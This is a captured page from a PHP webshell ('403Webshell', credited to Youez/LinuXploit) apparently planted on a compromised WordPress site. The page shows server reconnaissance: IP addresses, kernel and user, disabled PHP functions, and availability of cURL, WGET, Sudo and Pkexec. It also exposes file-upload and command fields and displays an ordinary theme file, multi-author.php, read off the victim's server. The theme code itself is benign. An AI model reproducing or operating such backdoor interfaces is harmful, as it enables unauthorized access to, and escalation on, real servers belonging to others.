403Webshell
Server IP : 64.225.102.56  /  Your IP : 216.73.216.220
Web Server : Apache/2.4.68 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System : Linux smtp.zejefoy.com 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : auto ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/auto/web/cifisoa.com/public_html/wp-content/themes/newsever/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/auto/web/cifisoa.com/public_html/wp-content/themes/newsever/inc//multi-author.php
<?php 
if(!function_exists('newsever_by_author')){
    function newsever_by_author(){
        global $post;
        
        if(class_exists('WP_Post_Author')){
            $post_id = $post->ID;
            $awpa_post_authors = get_post_meta($post_id, 'wpma_author');
            $enable_author_metabox_for_post = get_option('awpa_author_metabox_integration');
            $multiauthor_settings = false;
            if($enable_author_metabox_for_post && $enable_author_metabox_for_post['enable_author_metabox']==true){
                $multiauthor_settings = true;
            }
            if(isset($awpa_post_authors) && !empty($awpa_post_authors && $multiauthor_settings == true)){
                foreach ($awpa_post_authors as $key=>$author_id) {

                    $needle = 'guest-';
                    if (strpos($author_id, $needle) !== false) {
                        $filter_id = substr($author_id, strpos($author_id, "-") + 1);
                        $author_id = $filter_id;
                        $author_type = 'guest';
                    } else {
                        $author_id = $author_id;
                        $author_type = 'default';
                    }

                     newsever_author_list($post_id,$author_id,$author_type, $author_avatar=false);
                     if( $key != ( count( $awpa_post_authors ) - 1 ) ){
                         echo ",";
                     } 
                }
            }else{
                $author_id = $post->post_author;?>
                <a href="<?php echo esc_url(get_author_posts_url($author_id)) ?>">
                    <?php echo esc_html(get_the_author_meta('display_name', $author_id)); ?>
                </a>
                <?php

               
            }
        }else{
            $author_id = $post->post_author;?>
                <a href="<?php echo esc_url(get_author_posts_url($author_id)) ?>">
                    <?php echo esc_html(get_the_author_meta('display_name', $author_id)); ?>
                </a>
       <?php }

    }

}

if(!function_exists('newsever_author_list')){
function newsever_author_list($post_id='',$author_id='',$author_type='',$author_avatar=false){
        
             if($author_type == 'default'){ 
                 $default_author_id = get_post_field('post_author', $post_id);
                 $author_name = get_userdata( $author_id);
                ?>
                <a href="<?php echo esc_url(get_author_posts_url($author_id)) ?>">
                    <?php echo esc_html($author_name->display_name); ?>
                </a>
                <?php 
                } 
                if($author_type == 'guest'){
                    $wp_amulti_authors = new WPAMultiAuthors();
                    $guest_user_data = $wp_amulti_authors->get_guest_by_id($author_id);
                    
                    ?>
                    
                    <?php echo  esc_html($guest_user_data->display_name); ?>
                <?php } ?>
                
            <?php 
        }
    }

Youez - 2016 - github.com/yon3zu
LinuXploit